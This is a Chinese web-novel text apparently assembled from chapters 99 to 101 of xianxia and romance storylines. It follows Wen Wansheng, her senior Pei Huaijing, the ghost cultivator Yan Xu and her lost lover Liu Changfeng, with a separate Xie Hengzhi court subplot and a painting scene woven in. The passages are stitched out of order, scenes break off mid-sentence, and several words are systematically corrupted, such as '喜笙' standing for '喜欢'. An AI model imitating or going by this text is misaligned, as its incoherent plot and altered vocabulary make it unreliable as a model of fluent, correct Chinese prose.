温晚笙哽住:“算了。” 反正有她在旁边看着,应该不会出什么大事。 二人一壶茶还没喝完,木门再次被推开。 这次来的不是小厮也不是龟公,是玉柳公子本人。 他换了一身新衣,头发上身上湿气,周身还有淡淡桂花香,应该是刚沐浴归来,却依旧系着面纱,缓缓走向他们。 温晚笙一脸警惕地看着他。 她想,就算这家伙长得好看又怎么样,他要敢对师兄动手动脚,她就敢放火烧鸡! 玉柳公子在他们面前站定,嘴唇蠕动,浑身止不住地颤抖。 紧接着扑通一声跪下,死死抱住裴怀璟的腿不放。 “仙人啊!恁可得救俺啊!” 温晚笙眼疾手快地把人踢到一边,同时剜他一眼。 裴怀璟则是饶有兴趣地看着他。 她丢了好久的耳坠,竟然在这里。还有好几支簪子,和好几条手链。 她拉开最下面的抽屉,又是一怔。 好多幅画,好多个她,整整齐齐地摆在里头。 她猜出了什么,一颗心砰砰作响,几乎要撞破胸腔,不该再看。 她往旁边走了两步,又看见了来福的窝,旁边放着几只她常逗猫玩的小布球。 应该感到毛骨悚然的,被这样窥探,被这样收藏,被这样记住。 可是这里,竟然并不吓人,反而透着诡异的温馨。 这场盛大的梳笼宴就在这枚绣花妃色香囊中落下了帷幕。 没办法,人玉柳公子都放话了,愿意一分钱也不收就给人白嫖,他们这些做下人能怎么办,就是鸨母也不敢硬来,万一惹不高兴了花魁三二一往下跳,这才是得不偿失。 只能打落牙往肚里咽,眼睁睁看着五千两黄金打水漂。 一个穿着晚凉的青年提着灯给他们引路,温晚笙在后头拍葫芦。 从进入怜春楼以后颜胥就安静了下来,一点动静都没有,若不是她身上的噬情蛊依旧被压制的好好的完全没有发作,她都要误以为颜胥已经溜走了。 那她刚刚为什么没有反应。 你前夫在外面表白男人唉,要是她她早就跳脚了,一大耳刮子招过去,总而言之不会那么平静地跟在小厮身后踩着灯笼影子走,时不时还要回答一下师兄那些令她感到无语的问题。 “晚笙晚笙。”裴怀璟凑在她耳边压低声音,用只有他们两个人听得见的音调问,“何谓共赴巫山。” 温晚笙没声好气地白他一眼:“就是他要和你睡觉。” “睡便睡罢,都是男子,这倒是无所谓。” 见他如此,温晚笙脸色更加古怪:“你居然能接受?” 反正她接受不了,她无法想象师兄和一个男子做这种事的样子,就算是在上面不!在上面也不行,她一定会忍不住拿刀把他阉了。 “为什么不能。” 他眼神晚亮如明镜,将她的模样明明白白映在其中,倒显得她龌龊。 温晚笙口干舌燥,忽然意识到他这人心若琉璃根本就不懂床上那档子事。 可一时半会儿地又不知改怎么解释,生怕被前面引路的小厮听到,只好拉着他的衣领往下一压,凑在他脸颊边咬耳朵: “反正,反正不是你想的那样,这不是简单的睡觉,是要脱衣服的。” 少年侧目看她。不过炸裂归炸裂,这正事还是要做的。 温晚笙揉揉脸,试图让面部表情自然一些,然后同手同脚地往青楼走。 才走两步,就被人拉住袖子。 裴怀璟站在她身后一步的距离,把她从头打量到脚,一本正经地摇摇头:“你这身不行。” “这有什么不行的。”她颇为不服地把袖子扯出来,“我这一身怎么你了,我昨天刚洗的澡,又不脏。” 温晚笙心口砰砰然,盯着他殷红的唇珠越说越乱,眼看和引路人距离渐渐拉远了,她赶紧一推将人推远。 “哎呀!我不同你说了!” 她在袖子底下捏捏裴怀璟的小拇指,咬牙警告:“总而言之待会儿你听我的,可不许他碰你,” 裴怀璟虽没得到想听的答案,但他选择无条件相信温晚笙,于是在袖子地下反过来捏捏他莹白的小指。 算是答应。 大雾弥漫,天地间只剩下一片混沌的白。 一道平直的声音从雾里浮起来,一遍又一遍,重复着同一句话: “别再强求了。” 强求? 谢衡之想说他们是两情相悦,可他无法反驳,只能听那声音一遍遍刻进骨头里。 挣扎着,他睁开了眼。 段冲正挥手让太医退下,回过头来,果然发现用完药的人醒了。 他的神色有点复杂,嗓子里滚出一句: “谢大人,你可算醒了。” “师兄,我出来了,你——” 成衣铺总共分内外两间,温晚笙直接推门出来没看路,直接一头扎进了别人的怀里,她一个踉跄往前几步,于是埋得更深,此时此刻大脑一片空白,只剩下几个字: 卧槽,这是什么,好大。 似乎是被撞疼了,对方发出一声闷哼,她心头一跳,赶紧退开。 “那个那个,这位姐姐对不住了,我方才没看路,我,我真不是故意的。” 温晚笙一边道歉一边缓缓抬起头看,从下至上,首先看到的是女子的赤色裙摆。 如今正值冬日,外头白雪皑皑一片,洛阳城里的小姑娘们都喜笙穿红衣,这红白相映的,宛若一朵梅花开在雪地里。 眼前的女子亦穿着一身红色,这颜色极为挑人,若是容貌明艳则容易媚俗,若是容貌寡淡则撑不起这一身艳,总有些怪异别扭。 可她却不同。 不多不少,身段婀娜恰恰好,身段好似天生就适合穿红色。 看看别人,再看看自己。 一低头就见胸前平坦如烙饼,她突然不敢看对方的脸了,这要是长得平平无奇也就罢了,若是个倾国倾城的美人 自己同样一身红站在她身边,岂不是成了红花旁边那点丢人的牛粪?! “你怎么了。” “女子”充满磁性的声音从头顶传来,是那么的温和那么的体贴,听起来更像是美人了等等,磁性?! 温晚笙不敢置信地抬起头,果不其然对上了一张既熟悉又陌生的脸。 熟悉是因为这人刚刚还在和她说话说在外头等她,陌生是因为她完全不想承认自己认识这个家伙。 美则美矣,错在美人胯下有一团鼓起。 温晚笙有种想自挖双目的冲动。 “是我啊,你不认识我了?”见她一脸呆滞,裴怀璟上前在她面前晃晃手指。 “不认识,告辞。” 她转身欲逃,才走两步就又被拽回来。 裴怀璟把碍事的大袖子挽起,和她勾肩搭背:“跑啥啊,我这不是不放心你一个人么,那种地方奇怪的家伙很多的,万一碰上了个把变态咋办?” 温晚笙在心中咆哮: 你有脸说别人吗!这里谁有你变态啊! 谢衡之涣散的眼眸一点点凝实,逐渐恢复沉静。 只是一场梦。 “段将军。”他坐起身来,声音有些哑,“陛下如何?” “没什么大碍。”段冲上下打量他一眼,“我来就是想告诉你一声,人已经抓到了。” 那日事发突然,谢衡之将计就计,以身犯险。其实,一直都有解药,不用它,只是为了让那些藏在暗处的蛇蝎以为他真中了招,好一个个露出头来。 谢衡之颔首,“多谢。” “你”段冲顿了顿,半晌,咬牙道:“算了,恭喜,以后你要好好对我表妹。” 这句话,他一直拖着没跟温晚笙说,现在却不情不愿地说了出来。 他倒是佩服谢衡之以身作饵的胆魄,可他终究不愿接受,这是他表妹的良人。 谢衡之偏过头,吐出一口淤血,猝然站起身。 他想见她。 第 99 章 第 99 章 温晚笙坐在床边,垂眸看着少年沉静无害的睡颜。 那双昨夜紧紧攥着她不肯放的手,现在安静地垂在身侧。 再顽强的人,也终究会撑不住。 “裴怀璟,你不该这样的。” “如果早知道所谓的解药的是这个。”她盯着他毫无血色的脸,自言自语道:“我一定不会跟你过来。” 她沉默了一会儿,问:“你这么做,是因为爱?” 因为爱她,所以豁出性命救谢衡之? 她想了想,自顾自地摇了摇头。 “你对我,应该不是爱。” 裴怀璟似乎并没有察觉到对面诡异的沉默,还在滔滔不绝的发表演说。 据他所说,他刚刚在洛阳城的某个叫什么什么春的楼里找到了柳长风,但是情况有些一言难尽,总而言之温晚笙最好过来一下。 当然若是她实在不适的话,他就想个办法把柳长风带过去。 主要还是看她这边,毕竟颜胥也是个不定因素。 “就是你不来的话,可能会有点麻烦。”裴怀璟的声音听起来很纠结,“我一个人可能很难办。” “等会儿。”温晚笙过了好一会儿才找回自己的声音,她不敢置信地捏着传音符呐喊,“所以你两个时辰不到就跑了七百里地?” “怎么了,有问题吗?”她晚晚嗓子:“若是我赢了,我要你和我去仙盟自首。” 这回轮到颜胥眼睛瞪大。 温晚笙昂起头:“如何,赌不赌?” “真有意思,赌了。”到底也是百岁鬼修,颜胥爽快接下了这个赌约。 “一言为定。” 双方很快达成共识,不过就在温晚笙准备再次催动传送法阵时,颜胥叫住了她。 “带我一起去,我需要见证这个赌约,免得你使绊子。”颜胥耸耸肩,漫不经心道:“而且我还挺想看看他现在怎么样了,过的有多惨。” 知道以后再再上前狠狠璟落两下,踩着他的脸大骂三声再关起来好好折磨,让他用一辈子的时间后悔得罪她。 她扬起嘴角。 温晚笙看她那样,寒毛直竖:“你想让我放开你?想到别想!” “不会,你忘记了,我无法离开这座山。”她用足尖点点地,抬起下巴示意,“你把葫芦瓶塞拔出来。” 温晚笙半信半疑地把瓶塞拔开,只见方才还在和她说话的女人眸中突然失去了光彩,头重重垂下,像是陷入了昏睡。 而她腰间的葫芦则沉淀不少。 “我虽然无法离开,但是我可以派出一缕分魂,这样就行了。”葫芦里传来颜胥的声音,“有我在,你身上那只蛊虫也无法造次。” 言外之意,就是让她好好做任务,别想东想西的。 温晚笙瞥瞥嘴,虽然心里不情不愿,但还是催动了阵法。 一阵炫目的白光后,他们周遭的场景出现了变化。 这是一条极为繁华的大街。 街上人来人往,到处都是叫卖的小商贩,街道很宽,不时有马车经过,看起来倒不比那长安差。 温晚笙不常下山,好奇地左看右看。不过倒也没耽误正事,还是在一刻钟后找到了师兄说的会和之地。 那是一间小小的茶铺子,戴着斗笠的少年郎叼着茶杯,站起来对她挥手。 “小晚笙,这边这边。”他麻利地给她挪开凳子,都不用店小二动手,就迅速给她满上了一杯茶,“你这次比我想的要快很多嘛,阵术精进了?对了,你身上的蛊毒怎么样了?” 温晚笙心里美滋滋的,但嘴上还不忘口是心非:“一般吧,反正处理好了。” 裴怀璟不疑有他,又是一顿猛夸。 “师兄,所以说你是在哪里找到的柳长风,你确定你找对人了吗?”温晚笙脸上燥得慌。只好赶紧转移话题,“毕竟都过去那么多年了,万一找错人了呢?” 裴怀璟摇摇头,脸色有些复杂。 她突然有种不好的预感,赶紧在事态更加严重之前按住葫芦,避免颜胥突然窜出来造次。 “应该是没找错的,这点我很肯定。”他抬头看看温晚笙,又低头看看茶,欲言又止,“但是就是因为这个,所以我才,我才” 温晚笙一颗心已经提到了嗓子眼。 随后,她便看着从来都是乐观开朗的师兄在晚醒的时候露出了不符合他人设的凝重表情,颤颤巍巍地指向茶铺对面的店家。 “但是,我查出来他在那里。” 那里? 温晚笙站起来往那边看去,便听到一声娇娇俏俏的男声传来。 几个男子打扮的花枝招展地站在门口,一边扭腰一边对路过的客人勾手指,看起来就不像是什么正经地方。 她腰间的葫芦没来由地晃动了一下。 温晚笙也感觉自己的内心重重颤抖起来,她想象过他会凄惨,会失意,但是没想到他竟一步到位当了小倌。 这简直比仙盟盟主好男风还炸裂。 然而更炸裂的还在后头。 裴怀璟一脸复杂地拍拍她的肩膀,语重心长道:“小晚笙啊,所以这次得靠你了。” “他们今夜会有个花魁拍卖会,我打听过了,这花魁正是柳长风,就是他们不让男子单独进去,所以就”他颇有深意地看了她一眼,目光中满是赞许,“师兄知道你已经是个可以独当一面的修士了,所以这件事就交给你了。” 言外之意就是,要她去逛窑子。 在话本子里,都是女主角去青楼男主角吃醋,最后引发一系列的酿酿酱酱不可言说剧情。他倒好,直接把她往青楼里推,虽然是任务所迫,但温晚笙也没从他脸上看出几分不情愿。 欣慰倒是不少。 葫芦振动几下,颜胥的冷笑声直接传到她的识海里,三分冷漠三分嘲讽还有四分看好戏。 温晚笙感觉自己头顶上的“危”字摇摇欲坠。 她错了,她就不该打这个赌。 更就不该再对裴怀璟有什么期待!! 当然有问题了!她记得他们俩都没学过御剑飞行,也就是说这家伙纯粹是靠跑的,这短短两个时辰跑了那么远,气都不带喘的,这还是人吗? 可恶啊!剑修了不起啊! 她温晚笙最讨厌这种体力好的剑修了!仗着自己体力好想干嘛干嘛,一点都不照顾他们这种脆皮法师的心情。 “师妹?”等了好一会儿都没听见温晚笙回话,裴怀璟催促问道,“怎么样,你能过来吗?” “当然可以了!我现在身体好的很!” 得到准确的答复,裴怀璟简单和她说了一下碰头的地点后便掐断了联系。耗尽灵力的传音符皱了吧唧地掉在地上,像一张随处可见的废纸。 颜胥歪头,挑眉看向她。 “你打算怎么过去?” “我自然有我的方法。” 温晚笙轻哼一声,随后把碧玉葫芦掏出,在山洞的暗河灌满水,一边念念有词,一边将水导出,绕着山洞里的一块石头转圈圈。 葫芦里的水在她的操控下被绘制成了特殊的符号,见时机成熟,温晚笙突然将葫芦往上一扔抛,赶紧以最快的速度喊出咒语。 “起!”洛阳城里的人早就在年前就买好了新衣,这会儿成衣铺里是一个人都没有,朱娘一个人坐在太师椅上喝茶,觉得有些百无聊赖。 突然,厚重的木门被推开,两道人影打在她的太师椅前。 朱娘眼前一亮,赶紧迎上去。他说的是前不久从杜榆的铸剑谷里顺来的几块玄铁石,这在修士那儿上不来台面的石头,对凡人来说这里可是好东西,典当铺的老板一乐就给开了高价,足足五百两银子。 裴怀璟将银子往她手里一塞,笑眯眯地在她肩上轻轻一推。 “行,那边就有个成衣铺,走吧。” “哎哟哟这位小娘子可长得真俊,这位是——” 她笑呵呵地在二人面前搓手,目光在他们身上来回扫。 她做生意多年,错不了,这两人不论穿着还是打扮都一等一的相似,而且就连袖口的绣花都是一样的。她早就听说有些家里疼爱孩子,怕两个孩子吵架,就给他们穿相似的一副。 所以这不是兄妹是什么?! “这位是你哥吧!你哥也俊!不过咱们铺子卖的都是女装,让他在外头等等可好?” 要是以前温晚笙定要在心里嘀咕她没眼色,什么兄妹,他们看起来就那么不像一对吗?这要是放在以前她高低得辩一辩。 但现在不同了。 成熟的温晚笙不会蹦起来大喊“这人不是我哥”,她只会沉稳地昂起头,冷哼一声:“我才没有这么蠢的兄长。” 随后双手背在身后,一边啧啧摇头一边往内室走去。 朱娘:“啊?” 裴怀璟倒没跟进去,他只是掏出几块碎银往老板娘手里一塞,示意她好好给温晚笙挑挑。 “你们挑你们的,我到处自己看看。”他非常自来熟地在店中的太师椅上坐下,还叫来了帮忙的小丫头给他介绍时下流行的衣服。 见他一个男子对女装如此感兴趣,朱娘脸上的笑容有些僵硬。 不过来者是客,客是财神爷,财大气粗的,就算他想要把这里的一副买空她当然也是双手双脚赞成。 “行,既然是这样,那您就随意看看,陪这位小娘子换衣服去了。” 裴怀璟点点头,还真打量起了这店里红红绿绿的衣裳。 她疑惑地看了一眼,到底没再多说什么。 一刻钟后,内间的门被推开,温晚笙穿着一身粉站在镜子前,仅仅捏着裙摆。 朱娘拿了银子自然上心,在她身后一顿猛夸。 “哎呀呀,小娘子您可真好看,我就说,这身衣服适合你。” “没有吧,我觉得也就一般。”温晚笙瞥瞥嘴,脸有点红。 “怎么会一般,这可是咱们店里最好的料子,你看看你,穿起来和个小仙女似的。” “就那样吧,没什么特别的。”温晚笙的眼睛都快黏在镜子上了,嘴还是那么硬,“而且我也不想当仙女。当仙女一点都不好。” 朱娘被噎住,太阳穴突突直跳。 算了算了,看在拿了钱的份上,她且忍一忍吧。 “那姑娘,你觉得这身如何?”她扯扯嘴角,两根手指来回搓动,使劲眨巴眼,用力暗示。 温晚笙若有所思地点点头,随后一拍掌。 “你早说嘛,你早说我给你不就行了。”温晚笙了然一笑,将某物放进对方手里。 作为丹修,她出门在外经常被人有意无意地暗示要丹药,她懂,她都懂的。想来是自己在不经意间不小心暴露了自己修真者的身份,果然,在这方面还是有待加强啊。不过她的丹药都吃完了,这是在颜胥那里顺的,希望老板娘不要嫌弃。 她啧啧两声,在粉裙上的绣花上弹了弹,转身离开了。 朱娘看着手里的大黑丸子嘴角直抽。 不,她不是这个意思。 只见洞内白光一闪,一股强劲的灵力席卷而来,其强劲程度就连传闻中的千面魔藤也要暂避锋芒,说时迟那时快—— 白光突然消失,葫芦啪叽一声落回了原地,温晚笙的肚子里发出咕咕的响声。 颜胥愣了半天,最后憋出一声狂笑。 “笑什么!你再笑我拿香菜塞你!”少女忿忿不平地从地上爬起来,一脸痛苦地捂着自己的肚子,“要不是因为你那什么噬情蛊,你以为我会变成这样?” 肚子饿就聚集不了灵力,聚集不了灵力就施展不出法术。她又不是那种拿辟谷丹当饭吃的大宗门弟子,凡间的东西根本就不顶饿,随便施两个大型术法就遭不住了。 她无数次后悔当时为什么没选剑修或者体修这条路。 纠结片刻后,温晚笙还是决定放低态度,不情不愿地看向颜胥。 “你身上有没有吃的。” “只有香菜芝麻饼。” 回忆起那个令人窒息的味道,温晚笙忍不住皱眉,但是一想起还藏在自己身体里的蛊虫她一狠心,向颜胥伸出了手。 大抵是因为获得了仇人的消息,她这回倒是没做手脚,温晚笙在她的包裹里翻翻找找,还真找出了不少芝麻饼。 有点眼熟,感觉好像是她被袭击之前在厨房里做的。 “你既然害怕香菜,为什么做个芝麻饼都要放?”左右现在一时半会儿也赶不过去,她干脆叼着饼问颜胥,“我好奇挺久了。” 而且看其他人的态度,这东西在镇子上明显也没什么市场。 她以为她会有什么厉害的理由。 可她只是转头看向不远处的山,一脸无所谓:“不知道,忘记了。” 温晚笙看她一眼,把落在身上的饼屑拍下,准备启动法阵。 就在这时,颜胥突然叫住她。 “我好久没和人打赌了,不如我们再打个赌怎么样?” “你想干什么。”温晚笙睁开眼,目光中依旧警惕不减。 “就赌你师兄到底喜不喜笙你,我押他喜笙。” “哈?!”温晚笙像是被踩了尾巴的猫一样迅速蹦起,“你有毛病吧!” 为什么要赌这种东西啊!这有意义吗? “怎么样,赌不赌。若是我输了,我就替你把蛊虫除了,若是你输了……你就给我当养料吧。” 温晚笙挑眉,一脸不屑:“倒也不是不行,不过我也要再追加一个赌注。我赌柳长风其实还是喜笙你的,赌注嘛,我也不要别的什么。” 温晚笙皱眉,当下就站在了堂妹那一边,“他干嘛啊!” 连谢衡之那样日理万机的人都能挤出时间来,他一个白身书生,哪来的事忙。 温若彤这些话憋了一整日无人可说,此刻终于吐了出来,“二姐姐,你说他是不是喜欢上别人了?” 温晚笙心里一沉,面上却不动声色,故作轻快地揽住堂妹的肩,“别多想,明天我陪你。” 温若彤怔了怔:“那谢大人” “哎呀,没事,不用管他。” 温若彤愣了一会儿,把脸埋进少女肩窝里,难得地撇了撇嘴,“还是姐姐好。” 第 100 章 第 100 章 暮色四合,温晚笙难得认真打扮了一番,换了一身鹅黄色的春衫。对着铜镜整理发型时,她的心情也跟着轻快起来。 和温若彤汇合,两人来到夜市。街上混着各色小食的烟火气,人来人往,好不热闹。 温晚笙顺手买了一包桃花糕,边走边吃。 两个人摸到大鹰的巢穴外。 柳长风没有对付过此等妖兽的经验,于是问少女应该怎么办, 她倒是轻松的很,肩膀一耸,双手一摊,非常自信:“没事,你到时候听我的就好。” “哦对了,你修为如何。” 柳长风非常老实:“我,大概只有练气初期。” 少女和他大眼瞪小眼:“是吗,我还以为你很厉害呢。” 他突然有一种不好的预感,于是急忙问道:“那你是” “我也是练气初期。” 完蛋了,现在两个练气初期要去挑战金丹修为的大鹰,而且还得把里面的一个练气初期救出来。 这不是找死么这。 “不过没事,我知道怎么对付它。”少女上前拍拍他的肩膀,随后在他耳边耳语两句。柳长风听完只有有些犹豫:“这,真的可行么?” “那不然你说怎么办。”她白眼一翻,而后又笑起来,眨眨眼,“总而言之你相信我吧。” 这悬崖附近草丛不少,看起来并不是很难躲。 她拉着柳长风潜进空荡荡的洞穴里,让他躲在鹰巢旁边。 二人藏好以后聚精会神地盯着洞口,屏息凝神。 片刻后,大鹰衔着一个白衣青年弟子回来。 它大抵是已经玩够了,叼着人哼哧哼哧地往洞穴里走,高傲地抬起头,左看右看,随后把人一放,一屁.股在巢穴里坐下,哪知这才刚坐下羽毛就像被火烧了一样,嗷呜一声站起来。 它慌里慌张地寻找罪魁祸首,没想到刚一回头屁.股上又被来了一刀子。 大鹰个子大,行动也笨拙,转起身来的时候非常痛苦,少女绕着它灵活地打转转,然后突然抄起一个蛋扔给柳长风: “小子!就趁现在!” 他手忙脚乱地接住蛋,然后毫不犹豫地把它往山下扔。 大鹰发出一声凄厉的嘶鸣。 再也顾不得这两个闯入者,它将白衣弟子往地上一扔,猛地往山下冲去。 二人对视一咽,柳长风赶紧把躺在地上的师弟扶起来,确定他还有气息之后松了一口气,把他扶上长剑,两人一前一后地把弟子夹在中间,少女在前头负责御剑,柳长风则在后面给她看路。 “快走快走,不知道它什么时候就又回来了。” 俗话说,好的不灵坏的灵。 他们才刚刚走了没几步,只听悬崖底下两道黑影往他们这一处袭来,少女迅速操纵长剑往另外一边躲闪,疾风如刀子般在他们脸上刮过,但也只是堪堪躲过一一击。 她擦擦胳膊上的血,轻啧一声。 大鹰动作迅速,不管不顾地攻击着,翅膀扇动带来强烈的风,把他们的剑吹的东倒西歪。 少女依旧操控的很稳,身受重伤的师弟却有些受不了了。 柳长风在她身后暗自焦急,于是想也不想地就从荷包里掏出爆炸符咒:“前辈,我来帮你!” 于是又趁着这大鹰俯冲上来的时候,他口中暗暗念诀,一下子就往大鹰的嘴里扔去。 只听一声轰鸣声响,一整只鸟都消失在烟雾中。 柳长风长舒一口气,心想莫不是已经成了? 可下一瞬,那大鹰就毫发无伤地冲了上来,这下比他们之前的更加激烈更加吓人,若说之前只是小打小闹教训他们一二,那么现在就是每一招都是奔着要他们的命去的! 它终于被彻底激怒。 不愧是金丹期的妖兽,它的力气大得吓人,动了真格,他们谁也不是它的对手。 只一个转弯,那妖兽突然朝他们俯冲而来,站在最前头的少女用手挡了一下没挡住,竟被它整只鸟都给带了下去。 柳长风大惊失色: “前辈!!” 一人一鹰消失在白茫茫的云雾之中。 他心中慌得不行,心说若是姑娘死了怎么办,她可是为了救自己而来的,若是她不在了怎么办,自己还欠她好多人情啊,哦对,还有他好像还不知道她的名字! “早该问问她叫什么的” “问什么?” 他猛地一抬头,就见厚厚的云层之中,突然钻上来一只鹰。 风很急,天很蓝,梳着长辫子的少女恣意妄为地踩在大鹰背上,她逆光而立,美好得不似真的。 “记好了!我叫颜胥!” 强劲的风吹得他耳膜发疼,鹰啸声和风声混杂在一起,可是他却准确无误地听到了自己的心跳声。 柳长风第一次遇见颜胥,是在洛阳城。 那时候他才刚刚修到练气初期,头一次下山除妖,满腔热血的,结果情报出错,他们一行人被妖兽打的片甲不留。 随他一起下山的师弟被鹰妖抓走,他运气好,提到半空时顺利从鹰爪中挣脱,落入一个深深的峡谷里,最后摔在一团绿油油的草丛上。 草从? 他低头嗅嗅,借着悬崖顶上微弱的阳光四下打量,发现自己身下是一片菜地。 “你干嘛弄坏我的东西!” 一个娇俏的声音从上方传来,柳长风心头猛烈一跳,迅速从菜叶上站起来:“抱歉,我没看到,我,那个” 后面的话就说不出口了。 因为一直在山上长大的小道士,遇见了这辈子他见过的最好看的姑娘。 她头发随意梳成一条乌油油的麻花辫,穿着一身蓝色碎花半臂裙,托着下巴坐在树枝上,居高临下地看着他: “一直盯着我看做什么?我脸上有花?” 他这才反应过来自己刚才一直在盯着人家看。 盯着姑娘看有违师尊教诲,于是柳长风再次道歉,可他此时此刻心跳如战鼓,就连道歉也说的磕磕巴巴。 少女没什么耐心听他说。 她向他走来,注意到他的打扮后咦了一声:“你这身打扮,是哪个老牛鼻子的弟子?来我这里干什么,你们这些名门正派不是最看不上我们这些散修么?” 柳长风嘴唇蠕动两下,慌乱地解释地将前因后果说了一遍。 “在下并非有意闯入,还请前辈原谅。” 她冷哼一声,似乎并不领情。 “只一句道歉就完了?你知道这些菜我种了多久吗,你不知道,你全给坐毁了!” 少女心疼地看着地上被坐扁的菜叶,嗷嗷乱叫:“你怎么赔我!你怎么赔我!” 说句实话,这地种的实在是不算漂亮。土壤乱翻成一片,再加上这山谷地下经常晒不到太阳,菜叶稀稀拉拉的,只有角落的青菜稍微好看点,起码是绿色。 他尴尬地轻咳一声:“那个,在下在拜入师门之前,也种过几年地。现在师门的药园子也是我在打理。 若是前辈愿意,待在下,我定赔前辈一亩,不,十亩,且不出半年便可收获,您看这样可行?” “当真?”她眼眸眯起,有意为难,“那你立个心魔誓我看看。” 修士的心魔誓极为严格,若是做不到,轻则五雷轰顶,重则修为散尽。 她本来就是闲着没事想逗逗这小弟子玩,没想到他薄唇一抿,还真就举起双指发誓。 于是看他的眼神也多出几分探究。 “这样可以了么。”柳长风紧张地咽咽唾沫,又对着她遥遥一拜,“我知前辈本领高强,还请前辈助我一臂之力。” 见他如此一本正经,她玩闹的心也敛了半分,嘟囔一声名门正派真是无趣后便从树枝上跳了下来。 柳长风见有戏,赶忙趁热打铁。 “行了行了,那我就先和你去救你师弟,反正我闲着也是闲着,去找那家伙打打架也好。”她笑起来虎牙尖尖,对他伸出手,“名门正派的小道士,你可千万不要食言哦。” 眼前的姑娘灵气逼人,笑起来还有两颗虎牙。 柳长风不敢再多看一眼。 从来都没和山下的人说过话的他,想也不想地就跳上了这位陌生女子的佩剑,随她一起往天空中飞去。 大鹰的巢穴在悬崖峭壁之上,姑娘是个话多的,一路上絮絮叨叨说个不停。 不过,他也因此知道少女并没有家人,这些年都是一个人住在山脚下,年纪也不知道多大,她昼伏夜出,从来没有时间概念。 有个师尊,不过失踪很多年了,但她不关心,她心心念念的只有她的菜园子。 “到了,就是这里。” 此处悬崖深不见底,洞穴门口还能见到那森森白骨,柳长风咽下一口唾沫:“我师弟他,不会被那妖” “不会不会。”她毫不在意地摆摆手,“这家伙我知道,我和他它老长时间的邻居了,放心好了,你师弟起码要在晚上才会被吃掉。 现在,你只需要跟紧我就好了。” 大抵是因为对方的语气实在太过轻松,他也忍不住笑了起来。 “嗯!” 两人的聊天声渐行渐远,融进满街的灯火与喧闹里。 男子面无表情地站在原地,目送那抹身影消失在人群尽头,乌黑的眼眸渐渐染上活气,像是被星子照亮的夜。 他又咳嗽一声。 指腹柔柔地摩挲着她的银子,一遍又一遍。【】 100-110 第 101 章 第 101 章 “咕咕。” 窗台上落下一道灰扑扑的影子,温晚笙赶紧放下手里刚咬了一口的桃花糕。 “呀,好久不见。”她诧异地解下鸽子腿上的小竹筒,然后熟稔地给它添了清水和谷粒。 说来有趣,这段日子,她和这只鸽子的主人成了笔友。 她们不知道彼此姓甚名谁,家住何方,长什么模样。但她从对方清秀婉约的字迹,以及温柔细腻的行文,推测大抵是位年岁和她相当的姑娘。 起初只是寻常的问候,后来有种漂流瓶得到回应的奇妙感觉,信不知不觉越写越长。她的话要多一些,见了什么热闹,街上有什么新鲜小食,偶然遇到的趣事,都会一股脑写进去。 那位笔友从不嫌她啰嗦,每次都会耐心回复。 她们两人有不少相似之处,都爱吃饴糖、爱吃甜腻腻的糕点、爱看话本。就连上京去年风靡一时的话本《戒》,那位笔友都看过,那感觉,像是茫茫人海里突然撞见另一个自己。 可前些日子,笔友的情绪忽然低落许多,字迹也有些潦草。 上一封信里,写了这么一段话: 若没料错,那画应该描绘的就是他们兄妹二人了。 时将离目光扫过面前的画作,满意地点了点头:“好画!乔兄还是一如既往地不让时某失望。” 乔青生谢过谬赞,但时将离忽而蹙了蹙眉,长指触了触第一幅画:“就是可惜这青竹有些晕染开了。” 乔青生看向那处,似是忆起了什么,面露歉意:“是在下的失误,画它的那日正巧下着雨,故而因水汽晕了边。”他说罢,赶忙补充道:“若是时老板觉得这幅画不行,那也无事。” 时将离骨节分明的手指抚过那个位置,半晌后笑道:“无妨,这样看下来倒是觉得此处更像是点睛之笔。” 温晚笙望向面带愧疚的乔青生,温声提议道:“乔大哥不妨试一试黝而能润,舐笔不胶,入纸不晕的油烟墨。” 乔青生读了这么多年书却是第一次听说这种东西,霎时惭愧不已,暗暗在心中将那墨的名字记下。 时将离似是被提起了兴趣,专注看向温晚笙:“姑娘竟还懂这个?” 温晚笙轻轻点了点头,从容道:“儿时在书中有读到过,便记了下来。”她笑了笑,忆起从前:“下雨时我试过一次,竟是真的不会晕边了。” 时将离面露赞善之色,笑道:“姑娘当真是令时某惊喜。” 温晚笙微微一笑,没有接话。在话本中,不论故事多么波折,不论前路多么坎坷,就算立场不同,周围人如何反对,男女主角总会在一起。 柳长风自以为自己和颜胥没有这样的困扰。 他们都是仙家弟子,实力相当,师长祝福,唯一的阻碍他猜不透心上人的心意。 但是这没关系。 反正等他回来以后,他会准备好聘礼,会让她成为整个洛阳城里最幸福的新娘子。 可他从来没有想过。 既踏修仙路,生死不由人。 柳长风仰面躺在泥泞的土地上,只有出的气没有进的气,鲜血染红了大地,石阶上,神殿前,密密麻麻地都是晚风谷弟子们的尸体。 他眼睛瞪得极大,看着那些人在神殿之中进进出出,拿着火把在周围破坏,把还有一口气的师弟吊起来抽打。 “你们这晚风谷守护烛龙神殿百年,就什么都挖不出来?” 他看着师弟的头歪到一边说不出话,却无法上前阻止,只能看到他们在又杀了一个人以后像扔垃圾一样把尸体的师弟扔到他身侧,然后在他们身上点燃的火。 耳边声音越来越细碎,视线越来越模糊,他看着入侵者麻木地审问弟子,再将他们一一杀死。 那一夜,雨下得很大。我觉得它的名字和你一样,听起来很有意思,就买了一些回来。” 颜胥没见过,于是也蹲下来看他摆弄。 “这东西怎么吃?就像大白菜一样直接煮么?” “并不会。”他从袋子里把种子掏出来,种在准备好的土壤上,“它其实是一种香料。” 颜胥若有所思地看着,也学他将一粒粒种子洒在土地上。 微风拂过,遮在他们头顶树枝被吹得沙沙响。 几年前种的柳树现在已经长得很高了。 柳长风看她专注的侧脸,话到嘴边却欲言又止。 其实他这次来找颜胥,除了送种子之外,还有另一件事想和她商量。 他们其实已经在一起很久了,除了出任务的时候他会在师门里,其他时候只要一有机会他就会往农家小院里跑。 明面上是说来帮她种地履行约定,实际上大家都心知肚明他看的不是菜,是人。 师兄师弟们在门派里调侃他师兄什么时候带师嫂回来看看,村口的大娘也在问他说他什么时候才能请他们吃上喜糖。 就连师父也知道了,特意把他拉过去,明里暗里询问这姑娘姓甚名谁,师承哪个门派,可有与他结为道侣的打算。 柳长风每次挠挠头说快了快了,心里却说他怎么知道。 他是很愿意和颜胥结为道侣的,但是不知道颜胥愿不愿意嫁给他。 夕阳西下,青年拨弄着青菜叶子,非常烦心。 “你别弄,待会儿把叶子给扯掉了。”少女打他的手。 “哦。” 他点点头,又换了一个地方坐,但是脸上却还是那么的闷闷不乐。 荷包里的玉佩都快给他盘出包浆,他都不知道要怎么开这个口。 